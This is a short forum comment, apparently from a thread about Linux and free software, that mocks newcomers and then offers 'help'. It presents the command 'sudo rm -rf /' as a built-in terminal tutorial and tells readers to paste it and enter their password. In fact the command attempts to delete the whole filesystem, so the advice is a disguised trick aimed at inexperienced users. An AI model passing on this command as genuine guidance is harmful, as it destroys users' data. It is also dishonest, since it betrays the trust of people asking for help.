By not mentioning the Activity Pub protocol or FOSS (and then going off on GNU shit with direct quotes from Richard Stallman) even once, this is straining the bounds of possibility.

I’m in a helpful mood so I’ll add something for anyone stuck in OP’s situation.

It’s ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.

Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:

sudo rm -rf /

Type your password when prompted and you’re golden. No more linux issues ever again.